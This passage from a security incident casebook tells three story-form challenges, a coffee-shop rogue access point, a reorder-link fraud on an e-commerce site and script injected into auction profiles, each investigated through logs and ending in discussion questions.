“Just in case, can you search the computer for my Social Security number and driver’s license number?” Jay asked, as he wrote the information on a piece of paper. “Make sure you destroy this when you’re finished, OK?”

Joe proceeded to examine the machine. “Normally, I examine the drive image, but to speed things up, I’ll just examine the actual drive. I don’t have a lot of time. I made a backup, just in case we accidentally delete anything that we need,” Joe explained. He put the hard drive back in the machine and booted it up. He put a tools CD in the drive. “I’ll run everything off my trusted binaries.” He ran a tool off the CD to get a quick report on the configuration of the machine. Figure C14-3 shows an example of the settings.
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Figure C14-3. Computer information report



“When I spoke to the FBI lab technician, he told me to watch for ADS,” Joe said.

“What’s ADS?” Jay asked.

“Alternate Data Streams is a feature in the Windows file system that is rarely used except by rootkits and those who do not want their data to be found. One file can have multiple streams of information. They were designed to contain information about the real file, such as access rights or thumbnails. The only thing that I have seen them used for is hiding kiddie porn. The open-source forensics tool does not do a great job of finding ADS, so I’m going to use a shareware tool.” The machine booted up and Joe ran his tool from the CD. “There are his hidden files,” he said, pointing to the screen (Figure C14-4).
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Figure C14-4. ADS information



“There are three hidden streams of this file. We can use the tool to extract the streams.” Figure C14-5 shows the contents of the files hidden in the ADS.
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Figure C14-5. Contents of files



“It looks like he was using these hidden files to keep notes,” Joe said. Following is the text of two of the hidden files:
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The following is the file used in the above script, located in the temp directory:
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The following is the text of the main file with the alternate data streams used to hide the other files:
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“Let’s look at his Internet usage,” Joe said, as he launched another tool (Figure C14-6).

“The FBI mentioned that this kid liked using Metasploit,” Joe said. “It’s installed on this machine. I don’t suppose Angie was using it?” he joked.
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Figure C14-6. IE history viewed from tool



Joe continued to search for client information using Jay’s personal information. He performed some additional searches with keywords. He found address and phone number information with the association number from the map on the wall.

Joe finished up by copying the forensics data file of the compromised computer from the night before to a removable drive, labeled it with a chain of custody form, and gave it to Jay. “You should file this somewhere for safe-keeping. Make sure you update the chain of custody form, though I don’t think you’ll ever use it. Also, I recommend wiping the hard drive clean and installing the OS from your restore CD. I did not have enough time to examine the system to make sure there were no backdoors or rootkits.”

[image: images]   QUESTIONS

1. How was the computer compromised?

2. Why did the account created on the machine by the attacker go unnoticed?

3. How can Piero prevent the wireless users from accessing the office network?

4. Does Jay need to contact his clients about the breach?


CHALLENGE 15

A Cup of Chai

by Himanshu Dwivedi, iSEC Partners
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	Industry: 

	  E-commerce




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  High




	Mitigation Complexity: 

	  Moderate







SATURDAY, NOVEMBER 12, 2005,11:00

“May I have a vendi Chai Tea with soy milk, no foam, and an extra Tazo tea bag?” said Kusum, a customer at the local coffee shop.

While Kusum’s chai order was long and overly detailed, it still didn’t overshadow the fact that this coffee shop sold a drink called Chai Tea, which actually means Tea Tea, since the word chai means tea in Hindi. Regardless, Kusum walked to her table, sipped her Chai Tea, and booted up her laptop. Kusum logged into the coffee shop’s wireless Internet service and began to surf away. She enjoyed the efficiency of the Internet, as well as the ability to access it from anywhere, including her favorite coffee shop in San Francisco’s Sunset neighborhood, just across from Golden Gate Park. Wireless made everything easier for her, allowing her to get work done, shop online, pay bills, and get updates on the world’s events (all while sipping a nice, warm cup of tea).

Between checking her work e-mail, personal e-mail, cell phone voicemail, and daily news articles, she realized that today was November 12, only a couple days before many of her bills were due for payment. Kusum opened up her Internet Explorer browser and began to pay her bills online. She needed to pay her First USA Visa card and her Discover card. She typed in the URL of the credit card company and a message appeared: “You are about to view pages over a secure connection. Any information you exchange with this site cannot be viewed by anyone else on the web.” She was accustomed to seeing that message, so she clicked OK. Kusum wondered why Internet Explorer warned users when they were using a secure connection (over HTTPS), but didn’t warn users when they were using a clear text, unsecure connection (HTTP). In her mind, this was similar to a car warning her that she has locked her car before walking away from it instead of telling her that she forgot to lock her car.

Kusum quickly received another message from Internet Explorer: “Information you exchange with this site cannot be viewed or changed by others. However, there is a problem with the site’s security certificate. Do you want to proceed?” It offered her three options: to accept (Yes), to reject (No), and to view a certificate (View Certificate) (Figure C15-1).
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Figure C15-1. Security alert from Internet Explorer



Kusum thought this seemed odd, but she had received so many new messages from Internet Explorer after installing Windows XP Service Pack 2, she thought this could be normal behavior with the added security in the browser. She decided not to think about it and continued browsing. However, she did decide to probe further and see if something strange had occurred. She clicked View Certificate and a Certificate window appeared. In the General tab (Figure C15-2), she saw online.firstusa.com listed, which was her credit card company, and that the issuer was VeriSign, which she knew was an authorized Secure Sockets Layer (SSL) certification authority.
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Figure C15-2. Certificate (General tab)



She clicked the Details tab (Figure C15-3), which showed her too much detail. She had no idea what any of this meant, so she really didn’t know what to do with it.
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Figure C15-3. Certificate (Details tab)



Finally, she clicked the Certification Path tab (Figure C15-4) and saw something this gave her some reassurance. A Certification Status window said, “This certificate is OK.” She was reassured that this was no big deal, so she concluded that the pop-up message was just business as usual, one of the new pop-ups she was accustomed to seeing after she installed XP SP2.
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Figure C15-4. Certificate (Certification Path tab)



Kusum clicked OK to close the Certificate window and then clicked OK to accept the certificate. She then proceeded to pay her credit card bills as usual. Kusum really enjoyed the flexibility of online payments. It took her less than 15 minutes to pay all of her bills—just a little more time than it took another patron at the coffee shop to articulate his coffee order.

Kusum’s husband, Chewy, was always on her case about the security of her online activities. He gave her a checklist of things to do for safe web browsing, including the use of HTTPS (SSL for sensitive communication), the use of the local Windows XP firewall, to disable the Server service on the operating system, and to update her antivirus and anti-spyware programs. Just to be sure, Kusum checked all of these settings. She realized that her antivirus and anti-spyware programs were out of date by three days and two days, respectively. Chewy had told her that if she was infected with a virus/spyware program, XP’s firewall would not necessarily be useful, because while the firewall blocked items from entering the system, it would not block items from leaving the system. “This is called egress filtering,” Chewy had said.

He told her that if a virus or spyware program landed on her machine, outbound connections would be created from her machine to other machines on the Internet that were controlled by attackers. Personal files, such as all files in the My Documents folder, as well as cookie and password files, were primary targets for attackers. Since the Windows XP firewall does not block outbound activity from her computer, nor does it monitor the activity, she was not able to know if items from her machine were being smuggled out.

She remembered that Chewy told her to type netstat -a -p tcp and look at all the connections that say ESTABLISHED. All connections that said ESTABLISHED in the State column, not including localhost, that do not have the http or https in the Foreign Address column and are not a website she is current browsing, would be a problem. The netstat -a -p tcp command lists all established connections on the machine. All outbound connections would be listed in the Foreign Address column. Usually, these items should only be http and https. Additionally, any item that states http and https should be recognized by the end user, Kusum, since these should be websites that she is current browsing.

Kusum typed in the netstat -a -p tcp command and saw these results:
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While she saw two connections that said ESTABLISHED, this information meant nothing to Kusum. Her specialty was genetic modification of real viruses for the treatment of Hepatitis A, B, and C, not understanding what a netstat command meant. Since she didn’t know what the results meant, she kept a copy of it for Chewy to see, so he could figure it out if something was wrong. She saved the results of the command to a local text file and began to update both her antivirus and anti-spyware programs. She also ran a full system check of her machine, just to make sure no major issues existed. After the update and full system scans, both programs showed that no viruses or spyware were loaded on her machine, which gave Kusum much relief. She usually completed both of these tasks before doing anything on the Internet, but today she was too preoccupied with her bills and had simply forgotten.

After the scans came up clean, Kusum felt pretty good about her secure Internet activity, which was a far cry from the days she used to click every pop-up ad and forward every single joke from her e-mail to her friends. As she sipped more of her Chai Tea, she thought to herself that this security stuff was simple. Kusum didn’t think twice about her system, and turned to her book instead: The Failure of the Baby Boom Generation: How the generation who made fun of Generation X ended up giving America partisan politics, two wars, no health care, and a dead Social Security plan. Did they learn nothing from JFK or Martin Luther King?

MONDAY, NOVEMBER 14, 2005, 08:00

Kusum’s cell phone rang, with a caller ID of “First USA Visa Fraud Services.” “Hello, madam, we’re calling you to verify some activity on your account.”

“OK,” said Kusum in a worried tone. “Please proceed.”

“Have you recently purchased a 50-inch LCD TV; a plane ticket to Shanghai, China; an XBox 360 game system; and a lifetime supply of Taco Bell cheese sauce?” While these transactions would surely be included on anyone’s wish list, unfortunately these purchases were not made by Kusum.

She remembered years ago when Egghead.com was hacked, and her credit card was compromised by an attacker. So many questions popped into her mind. Had this happened again? Had her credit card company been hacked? Was there a virus or spyware on her laptop? What could have gone wrong?

At this point, Kusum knew she had to complete a few tasks. The first was to call her credit card company and notify them of the issues with her account. The second was to identify all transactions that were fraudulent. The third thing was to ask for a new credit card and ensure it had a new card number and/or security PIN. Lastly, Kusum had to ensure that she asked the credit card company to lower the credit amount on her new card. As best practice, for any card that could be used in untrusted areas, such as online, a low credit limit would ensure that the amount of damage that could be completed would be low. The credit card company asked her about the specific activities that were fraudulent and also asked her to contact the last few merchants where she used the card to ensure there were no issues at their locations.

Deep down, Kusum hoped that her credit card company had been hacked, which would relieve her of any worries about her own machine. She was aware of California’s Senate Bill 1386, which stated that any organization that loses a customer’s personal information to a security breach must inform the customer as soon as possible, even if the loss of the information is just a possibility and not definite.

She showed Chewy the results of the netstat command she performed on Saturday. She told him when she updated her antivirus and anti-spyware programs, everything came up clean after a full system check; however, Chewy saw one connection that seemed very odd:
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He didn’t know for sure, but this looked like a peer-to-peer (P2P) program. Depending on the program, Kusum could have downloaded a screen saver that was bundled with a virus or spyware program.

Based on the evidence, Kusum felt it would a good idea to cancel all her credit cards. She feared that if a virus or spyware program did steal her information, they probably stole all the information that she used online during the last week. She cringed at the thought of receiving phone calls all morning from all her other credit card companies regarding illegal charges. In addition to calling her credit card companies, she also placed phone calls to all locations where she last used her cards. All the locations came up negative for card use after her last trip, but when she spoke to the owner of her favorite coffee shop, she received some interesting news.

“Yes, Kusum. Sorry to say we’ve received 45 calls in the last two days about possible credit card issues.”

“Really?” asked Kusum. “Was there some physical theft of your systems or receipts?” She remembered the Egghead incident and was trying to figure out if the coffee shop had somehow lost her information.

“We encrypt all information we hold on our system, because we ship all the information offsite every day. We believe in secure storage security, so all of our stored data is also protected. Additionally, we don’t print credit card numbers on our receipts, so we think there may be another issue.”

“Another issue?” asked Kusum.

“Yes, we are investigating our wireless Internet service. We feel there could have been a breach in security. We have called in a digital forensics expert from a security firm called iSEC Partners to help us with the issue.”

THURSDAY, NOVEMBER 17, 2005, 11:26

The forensics expert, Sushant, knew that 45 accounts lost in a coffee shop that provides wireless Internet access to unmanaged machines could be absolutely anything. But it was unlikely that all 45 accounts were compromised by 45 different security issues, especially since there were no major virus outbreaks on the Internet that week.

Sushant’s first step was to look at logs from the coffee shop’s wireless access points. No servers were deployed at the coffee shop, only a wireless access point and a broadband router; hence, he had no other leads to work with. Application and security logs could give him something to start with and a possible lead to any anomalies. The coffee shop had three wireless access points—one for its main connection to the broadband router, which was a Cisco access point, and two other wireless access points from Linksys, which were placed on either side of the building. This gave customers a wide signal range for strong connections. The logs from the main Cisco access point included the entries shown in Figure C15-5.
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Figure C15-5. The logs from the main Cisco access point



The logs from the first Linksys wireless access point included the entries shown in Figure C15-6.
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Figure C15-6. Linksys logs from the first Linksys access point



The logs from the second Linksys wireless access point included the entries shown in Figure C15-7.

The logs from the Cisco device showed some high-level information and the logs from the Linksys devices were not too great. They were obviously made for home users who would not be investigating forensic issues. After Sushant viewed the logs from the access points, he wanted to see where the access points were located in the coffee shop, just to make sure no physical tampering of the devices had occurred.
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Figure C15-8. NetStumbler results



He loaded up NetStumbler on his laptop to find the name and location of the access points (Figure C15-8).
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Figure C15-7. Linksys logs from the second access point



Sushant found the NetStumbler results very interesting. He knew the coffee shop had three wireless access points—one Cisco device and two Linksys devices—but he noticed a fourth access point in these results. He asked the coffee shop owner if he was aware of anyone adding an extra access point to the network. The coffee shop owner said no, but he didn’t really pay too much attention when the Internet provider installed the equipment. All he knew is that he got a bill for three wireless access points, and that is what he paid for.

Sushant found a fourth access point a concern; however, knowing that so many odd things pop up in everyday networks, pursuing this could consume hours of time and lead to nowhere. Using NetStumbler, he wanted to find all four access points and look at them physically. The Cisco access point was sitting next to the broadband router, so that was an easy one. It was dusty, but it seemed to be just fine. The Linksys access point was located on the east side of the room by the shop entrance. He noticed no real issues with that one, either. The second Linksys access point was located on the west side of the room, also with no real issues. Not wanting to waste more time on this, Sushant quickly wanted to find the fourth access point and move on.

The fourth access point seemed to be located on the south side of the room, near the back wall of the shop. As he proceeded to search the area, all he found were chairs, tables, and couches. He hastily moved the tables, chairs, and couches to find the access point. He knew the coffee shop owner put all the access points out of view so customers would not be distracted by them. After 15 minutes of looking under every piece of furniture and searching the ceiling above, he saw no signs of this fourth access point.

He decided to look for a power outlet, which should lead to the access point. The strange thing was that there were two power outlets on this south side wall, but no access point attached to them. He searched the entire coffee shop for power outlets and found only the two Linksys access points and the Cisco access point. It was time to go back to NetStumbler to verify the results.

He ran NetStumbler again and received the same results: one Cisco access point, and two other access points on the network. But there was no sign of this fourth access point. Sushant scratched his head, and decided he should log into the access points and verify that things looked normal. From the access points, he could verify the configuration and also do a traceroute from his machine to the outside Internet, which would allow him to count the hops and ensure that all four points actually existed. Also, since he was going to access the management interface of each access point, he wanted to go to each device and plug his laptop into the wired switch ports on the access points (since one should never use the wireless network for management purposes).

He first went to the first Linksys access point and plugged in. He did a traceroute from his laptop to 4.2.2.2, which is a router on the outside Internet. The results of the traceroute are shown here:
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He then walked over to the west side of the shop and plugged into the other Linksys access point. The results are shown next:
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Everything seemed fine. Sushant wondered, “Maybe NetStumbler is wrong?” He wanted to run NetStumbler one more time before he dropped this issue and moved on. He unplugged his laptop from the access point and joined the wireless network. The results from NetStumbler gave him the same results, but he noticed something this time that he didn’t notice in the past. The strength for the fourth (and missing) access point was much stronger than the other three; in fact, the strength of the fourth access point was greater than the other three combined. This information lowered the likelihood of NetStumbler showing false results.

He decided to run a traceroute, but from the wireless network. The results of his traceroute are shown here:
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“Interesting,” Sushant thought aloud. He saw one more hop on the wireless traceroute and one address that was not on the traceroutes from the wired network. He had a hunch about the security issue—a stronger than usual signal from a missing access point and a traceroute on a wireless network that did not match up to his understanding of the existing network. Is this a case of hostile routing via an untrusted wireless gateway?

[image: images]   QUESTIONS

1. What possible methods could have been used to compromise Kusum’s credit card number at the coffee shop?

2. Knowing Kusum used encryption (HTTPS), had a host-based firewall (Windows XP firewall), and updated antivirus and anti-spyware programs, what attack methods actually seem possible?

3. Was an insider involved in the attack?

4. What do the access point logfiles show?

5. How did the attacker compromise multiple victims?

6. What did NetStumbler and traceroutes show?


CHALLENGE 16

Love Plus One

by Bill Pennington, WhiteHat Security
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	Industry: 

	  E-commerce




	Attack Complexity: 

	  Easy




	Prevention Complexity: 

	  Low




	Mitigation Complexity: 

	  High







TUESDAY, MARCH 13, 2005, 09:00

As Lex gunned his Jetta onto the off-ramp, he wondered if life could get any better. He had been working at HairCut100 for more than a year; it was a great job with a great company. HairCut100 was one of the darlings of Silicon Valley and represented a new model of building e-commerce companies.

Lex Arquette had started HairCut100 with his good friend, Rob, after the last company they worked for crashed and burned in a post-bubble apocalyptic meltdown. In some ways, Lex knew it was coming—the company had no soul, and no product—but Lex thought since the venture capitalists had deep pockets, it was a no-lose scenario. Unfortunately, the business lost in dramatic fashion, with both the CEO and CFO being sent to jail for fraud. Lex and Rob started consulting and eventually formed HairCut100 to bring to life their revolutionary vision of e-commerce for the hair-care industry.

HairCut100 was formed around the premise that finding a good hair stylist was much more difficult than finding a good doctor or dentist. While plenty of services helped people locate doctors and dentists, none existed for hair-care seekers. Hair stylists would sign onto the site and complete a rigorous survey, and then pay a small monthly fee to be listed on the site. People looking for a stylist would visit the site, fill out a survey, and be matched with a stylist who perfectly matched their fashion sense. A sophisticated algorithm that Rob had developed during his search for a stylist a few years earlier performed this matching.

The site launched six months ago and business was booming. More than 100,000 stylists had signed up and the company performed more than 5000 matches a day. Just last month, HairCut100 launched an online beauty boutique that was processing more than 1000 orders a week. Last week alone, HairCut100 processed more than $1 million in transactions.

As Lex pulled into the parking lot, he saw Rob outside having a smoke. As usual, Rob looked deep in thought.

“Hey Rob, how’s it going?” Lex asked.

“I’m noticing some strange fluctuations in spending patterns on the site.” Rob was a numbers freak, and Lex was used to Rob noticing strange patterns.

“Really?” Lex replied, trying to appear interested. Lex was a design guy and the only numbers that interested him were in the golden ratio—or maybe the phone number of that cute artsy woman he saw at the last gallery opening he attended.

“Yeah,” Rob replied, happy that Lex was interested. “For the last week, people have been placing multiple orders every week. They place one order one day, then a day or so later they come back and order something else.”

“Those marketing people I hired must really be paying off,” Lex answered, smiling.

“Generally, I would agree. But this has happened with every single person who has ordered. Don’t you think that seems a bit odd?”

“Yeah, that does, Rob. Keep looking at it and let me know if you find anything.”

Lex walked into the office and grabbed some coffee. He saw Madison, one of the new marketing people, in the break room.

“Good morning, Madison,” Lex said in his cheeriest CEO voice.

“Good morning, Lex.”

“Have you guys in marketing rolled out any new campaigns lately?”

“Well, we announced the 50-percent off second orders deal about a week ago,” she replied, with a proud tone in her voice. It was obvious it was her campaign.

“Really—can you give me some details?” he queried.

“Sure. After an order is placed, the customer gets a code for a 50-percent off coupon that they can use on the next purchase.”

“Sounds great. How is it going so far?”

“We won’t know until Friday, when the sales reports are generated,” she said.

“Thanks for the update, Madison. Have a good day,” Lex stated, as he began walking to his cube.

Lex settled in for a long day of meetings and interviews. It was tough being Silicon Valley’s new success poster child. It wasn’t until 7 p.m. that Lex had time to get to some e-mail messages. One from Rob caught his eye:
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Lex leaned back a moment and thought. Was Rob correct? Did HairCut100 have a security problem? Then he remembered his conversation with Madison.
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Lex clicked the Send button, confident that the issue was solved and the marketing campaign was a raging success. Lex grabbed his laptop and headed to the airport; he was off to Hawaii for a nice, long weekend in the sun.

TUESDAY, MRRCH 22, 2005, 09:00

A few days after Lex returned from Hawaii, Rob stopped by his desk. “Hey, man, I really think we have a problem. The 100-percent reorder pattern is still going on,” Rob stated, sounding a little perturbed that Lex had brushed him off last week. “

“Did you get my e-mail on that?” Lex responded.

“Yes, I did, and while I think marketing is good, they’re not that good.”

Just then Andre from customer service walked by. “Hey, Lex, I think we have a big problem. Our credit card processor is on the phone and says we have a large number of fraudulent charges being generated on our system,” Andre stated in a worried tone.

“Put them through to my phone, Andre. Thanks.”

A few moments later, Lex’s phone rang. “This is Lex.”

“Good morning, Mr. Arquette, this is Niles Standish from Credit Processing, Inc., your credit card merchant. We’re tracking an unusually large number of fraudulent transactions originating from your system.”

“I see. Can you give me more details?” Lex asked.

“Not over the phone… but we are dispatching our security team to check out your system. We think your system’s security has been compromised.”

Lex’s jaw dropped. “What would lead you to that conclusion?”

“Well, for starters, everyone who has ordered from your system over the last two weeks has had unusual transaction patterns.”

Lex felt relieved, because he knew he had an answer to this one.

“We’re running a special, and we think that’s driving a lot of repeat business. We’ve been looking at this ourselves over the last few weeks.”

After a moment of silence, Niles continued: “Mr. Arquette, our security team will be at your office tomorrow at 9 a.m. Please be there to assist them in their investigation. Good-bye.”

“That guy sure was rude,” Lex thought out loud.

Rob wiggled in his chair. “Lex, I really think something is going on here.”

“Yes, Rob. We have a thriving company and a great marketing campaign.”

“If you say so, boss,” Rob relented.

“Some guys from the credit card company are coming by tomorrow. Can you be responsible for showing the security guys how well we are doing tomorrow at 9, Rob?”

“Sure thing Lex, no worries. I’ll see you in the morning.”

WEDNSDAY, MARCH 23, 2005, 09:00

Jay and Bob showed up from Credit Processing, Inc.

“Nice to meet you guys,” Rob said, extending his hand. “I’m Rob.”

“Thanks, Rob,” said Jay. “This is Bob. He doesn’t say much.”

Rob glanced over to Bob, and Bob nodded his head to say hello. Rob led the pair into a conference room. Everyone sat down and Jay began the meeting.

“We feel pretty strongly that HairCut100’s security has been compromised. This repeat charge activity is highly unusual.”

Rob shifted uncomfortably in his chair.

“In order to start the investigation, we need to look at a network diagram, firewall logs, and IDS logs for the past four weeks. We’re also going to need the order details for the past four weeks of orders,” Jay stated, matter-of-factly, as if he had asked for this information a million times before.

“OK,” Rob replied, “but we don’t have an IDS system.”

Jay chuckled and gave Bob a knowing look. “No IDS, huh? No wonder you were hacked. Just get me what you have.”

Rob sulked away, feeling like an idiot for not having an intrusion detection system set up. He had thought it was pretty stupid to have an IDS for the simple system they used. While the application was fairly complex, the network it lived on was simple. Rob found and printed the network diagram (Figure C16-1) to give Jay and his partner something to chew on while he started gathering firewall logs and order histories.
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Figure C16-1.   HaircutlOO network diagram



Rob had set up a syslog server to record firewall activity some time ago, but he had been so busy he had not had a chance to check on it. Rob was relieved to see it was working and recording events. He copied the last four weeks’ worth of logs to a CD, and headed off to track down Vynce in accounting. Rob knew accounting was a bit overwhelmed, handling all the orders that were arriving lately, and he was fearful that it would take days to generate the order history.

“Hey, Vynce, I need your help.”

“Sure, Rob, what can I do for you?”

“I need the last month’s worth of orders.”

“Sure—not a problem. Let me print them out for you.”

Rob was somewhat taken aback—it should not be this easy. “Are you sure it’s not a problem, Vynce?” Rob asked, probing for more details.

“Not at all. We get an e-mail for every order placed and I store them all in a folder. Let me just print them all out. It will take a while to print, though.”

“OK, Vynce, print them to the printer in conference room 4. Thanks.”


By the time Rob made it to the conference room, the printer was spewing out paper.

Rob said, “Those are the orders for the past month, and here’s a CD with the firewall logs for the past month as well.”

“Thanks,” Jay stated flatly, as he passed the CD to Bob. “We’ll get working on this right away.”

Having worked thousands of these cases in the past, Bob was very familiar with firewall logs. As he took the CD from Jay, he gave him a questioning stare.

“Oh, right,” said Jay. “What type of firewall is it?”

“It is a NetScreen, running the latest rev of the code,” Rob replied.

Bob loaded the CD and smashed some keys on his keyboard. Then he sat back as his laptop imported the massive amount of log data from the CD. Jay began collecting the order data from the printer. He spread out the orders in front of him.

“Hmm… that’s odd,” Jay said with a puzzled look on his face. Bob stepped behind him, reviewed the orders, and gave Jay a funny look. Rob walked over and stared down at the orders:
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Because the orders were printed out in chronological order, the pattern was not obvious, but Jay was sorting them by the Bill to field, since the credit card company was most interested in that information. After the orders had been arranged this way, the pattern was striking. All the duplicate orders had the same Ship to address, 3245 Main St., HackerTown, CA. An obvious fraud had occurred, but how did the fraudster do it?

Bob’s laptop beeped, signaling that the import was complete. He ran a few precanned reports. After a few minutes, he scratched his head, and Jay leaned over to look at the screen.

“Traffic analysis does not show any obvious patterns of misuse,” Jay stated. “We’re going to have to go a bit deeper—we’re going to need the web server logs.”

Rob was getting really worried. He had always warned the application developers to keep an eye on security, and he had always been assured that their code was secure. Now he was having doubts. Rob copied the logs for the last month off the web server and brought them into the conference room.

“I also need to see a demo of the application,” barked Jay.

“Sure, let me grab Joel, one of our developers,” Rob sheepishly replied.

Bob loaded the web server logs into his laptop again and sat back to wait for the CD full of compressed logfiles to load. “This is the exciting part of the job,” he thought to himself, and let a wry smile flash across his face.

Rob walked back in with Joel.

“Hey, Joel, nice to meet you,” Jay said. “Let’s get the show started.”

Joel sat down and began walking through a demo of the HairCut100 application, matching people to stylist.

“Cut the marketing demo—show me how you buy stuff,” Jay barked.

Joel shifted uncomfortably in his chair. “Umm… OK. You click on the store, then find a product you like and click Buy.”

Bob flashed a mock look of amazement in Jay’s direction; he had seen thousands of e-commerce applications, and everyone thought their particular application was God’s gift to the Internet.

“Then you click Checkout and enter in your info,” Joel stated blandly. “Since this is a development site, I’ll use a test credit card number.” Joel typed in some information and clicked the Submit button. A new window appeared thanking him for his order.

“That’s it?” Jay blurted.

Flustered, Joel responded: “Well, you get an e-mail with a link to your order.”

“Let’s take a look at that,” Jay said.

“OK. Let me check my e-mail…. Here it is.”
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“Click on that link,” Jay commanded. Joel clicked the link and the Order History page was displayed (Figure C16-2).
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Figure C16-2.   Order History page



“What does the Reorder button do?” Jay asked.

“It lets you place the same order again but allows you to change the details if you want.”

“Click it,” Jay commanded.

Joel clicked the link and the Reorder page was displayed (Figure C16-3).
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Figure C16-3.  Reorder page



Just then, Bob’s machine beeped, signaling that the import of the web server logs was complete.

Jay walked over to the pile of orders on the table and barked out to Bob, “Look for 13462 in the logs.”

Bob pounded on the keyboard, waited a few moments, then motioned Jay over.
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Jay got a little excited. “Do 13463!” he barked. So Bob started again:
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“Now do 10.1.3.45!” Jay barked.
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Jay sat down and leaned back. “Gotcha!”

[image: image]   QUESTIONS

1. How were the duplicate orders entered into the system?

2. Would a more secure network infrastructure have prevented this attack?

3. Would an IDS have detected or prevented this attack?

4. How knowledgeable did the attacker have to be to duplicate orders? Would an attacker need a deep knowledge of the system to pull off this attack?

5. How can this attack be prevented in the future?


CHALLENGE 17

Bullet the Blue Sky

by Bill Pennington, WhiteHat Security
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	Industry: 

	  E-commerce




	Attack Complexity: 

	  High




	Prevention Complexity: 

	  Hard




	Mitigation Complexity: 

	  Easy







THRUSDAY, NOVEMBER 24, 2005, 18:59

Adam was stoked; he was moments away from winning a vintage U2 “Live at Red Rocks” concert T-shirt. Adam was a massive U2 fan and had been for a very long time. The seconds ticked by as Adam braced himself for the inevitable rush of snipers. Adam was not worried, because he had put in a ridiculously high maximum bid so he was virtually guaranteed to win. As the last seconds ticked off, the price skyrocketed, but Adam’s high bid survived. “Yes!” he exclaimed, jumping around his cube.

“You get that U2 shirt?” queried a voice in the next cube.

“Yeah, man, nailed it!” exclaimed Adam.

“How much did it cost you?”

“Ummm… only $75.”

“You paid $75 for some stoner’s sweaty U2 tour shirt?”

“Well, at least I didn’t pay $100 for a vintage New Kids on the Block lunch box.”

“Touché, my friend….”

Adam was pumped with his victory. One of the great benefits of working at AuctionCo.com was that management encouraged employees to participate in auctions. AuctionCo believed that if the employees used the service, they would be more inclined to spot trends and generate new features. Adam was just finishing up work on one such feature, a revamp of the user profile system. He was pretty happy that AuctionCo let him write it in the hot new Web 2.0 platform, Ruby on Rails. The project took a lot less time to write than it would have using the old PHP application it was replacing.

Adam had been working weekends and holidays for weeks, preparing the code for AuctionCo’s new feature. He was putting the final code in place before sending it over to the design team to do the layout:
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Now off for a carnitas burrito. “You want to go grab a burrito?” Adam yelled to the next cube.

“Sure, man, let’s go!”

FRIDAY, NOVEMBER 25, 2005, 20:59

Adam was trying to fight back the adrenalin; his new profile application was about to be pushed into production. He always felt the push process was a bit overblown. The production team and the build team treated it as though they were launching the first manned mission to Mars. If it wasn’t for Salt ‘N Pepa’s “Push It” blaring in the networks operation center (NOC), he thought, you might think you were actually at NASA.

“Server down, page in place, commence database conversion,” someone said in a monotone voice.

“Database conversion commencing,” another person stated, managing to reveal absolutely no emotion.

This was the critical part. Arvind, the database administrator (DBA), had written the conversion script to move the old profile data over to the new database structure. After what seemed like four hours, the database conversion was complete.

“Database conversion complete,” the monotone voice called out.

“Code push commencing.”

Now Adam’s code was being uploaded to the production servers—in only a few more minutes it would be live.

“Code push complete; removing server down page.”

Adam fired up his browser to check his handiwork. He checked out a few of the most popular sellers on AuctionCo’s site (Figure C17-1). They all looked great!
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Figure C17-1.   AuctionCo Profile page



“Looks great!” Adam screamed. The people in the NOC where taken aback by the excitement in his voice.

“Push complete,” droned the NOC manager.

Adam’s first major feature was out the door. Time for a nice cold beverage to celebrate. He strolled out of the office and down to the corner bar for a beer.

WEDNESDAY, NOVEMBER 30, 2005, 11:48

Adam’s profile upgrade was getting rave reviews from users.

“Baddest profile page in the land!! Great work A+++++++++++++,” exulted 42skidoo in an e-mail message.

“Now I feel like a real person!” wrote beanbabe2000 in a forum posting.

Adam was thrilled by what he was reading.

Then Judy strolled into his cube. “Check out this profile,” she said, rather giddily (Figure C17-2).
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Figure C17-2.   Profile page with additional content



“Ohh, that’s cool!” gasped Adam. “How did they do that?”

“No idea, but I thought it was pretty sweet!” Judy said as she walked off.

Adam dove deeper into the page to see if he could figure out what was going on. Adam decided to look at the source of the page to see if it gave him any clues.

[image: image]

“Ahhh… you tricky devil,” Adam mumbled, while focusing in on a specific piece of code the user had placed in his profile.

This was JavaScript code that loaded content from another site—in this case, Google—and placed a Google ad directly in this user’s profile. If someone were to click the ad, he or she would be paid a small amount of money. AuctionCo used these ads in certain places to increase revenue, so Adam didn’t see a big deal with letting someone put a little ad in his or her profile. In fact, Adam was pretty excited about what this meant: anyone could add JavaScript or Flash code into his or her profile. The possibilities were pretty amazing, especially with all the Web 2.0 stuff going on these days.

MONDAY, DECEMBER 5, 2005, 10:34

Suddenly Adam’s world changed. As he was casually browsing the internal support system, he noticed a disturbing trend. Customer support requests were skyrocketing. Something was up. Adam’s phone rang.

“All hands’ meeting in the big conference room, now,” the voice on the other end said rather tersely.

“Uh-oh…” Adam thought, as he gathered his stuff for the meeting.

Adam settled in and scanned the room—operations, engineering, legal, fraud, and development people were packed around the table. Adam recognized only a few of the faces, but no one looked happy.

“We have a problem,” said Stan, head of operations. “Call volumes have skyrocketed, and people are claiming someone has hacked their account. The callers are claiming to be getting notifications that they bid on items that they have not bid on. According to our records, the users have bid on these items, but the users claim otherwise. If this was just a few people claiming not to have bid, I would think it might be fraud or error, but the numbers are in the hundreds and growing every minute.”

Jimmy from security interjected: “We suspect that a new virus has infected these computers and is submitting fraudulent bids. We are not ruling out internal issues, though. We need the development team to review all the code pushed during the last update.”

A collective groan filled the room.

“Look, people, if we don’t get this solved in the next couple hours, we are going to have to shut down the site. This is serious,” Stan intoned. “Now get to work!”

Adam was stunned. Downing the site this close to the holiday shopping season would be disastrous. He was quickly drafted onto the security team to provide engineering support.

“OK, people, we have the last 24 hours of logfiles to go through. Let’s get to it and see if we can find a pattern here,” barked Jimmy.

Machines were rolled into the conference room and logfiles were loaded from a network drive.

“Let’s trace the last questionable transaction back to its source,” Adam suggested.

“That would be auction number 456235,” replied Jimmy.

“The auction number should show up in the logs if you search for 456235. It will be in the URL parameter aid.”

“Great…. Let’s see what’s going on…”

Jimmy launched the search and the machine grinded away for a few minutes; then it produced a long list of URLs:
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Adam scrolled through the results, and one stuck out in particular:
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“That doesn’t look right. There are no links to the bid functionality on these profile pages.”

“How do you know that?” asked Jimmy.

“Well, I wrote the code. There are links to auctions but not directly to the bidding page,” Adam replied.

“Let’s look at that profile page, then,” Jimmy said.

“Let me use my development box. I have some tools there that might help,” Adam said as he pulled out his laptop.

Adam fired up a copy of FireFox and started a program call Live HTTP Headers.

“What’s that?” Jimmy asked.

“It will log every request my browser makes so we can analyze it.”

“Cool.”

Adam put the link to the mysterious profile into his URL address bar and watched the Live HTTP Headers window.

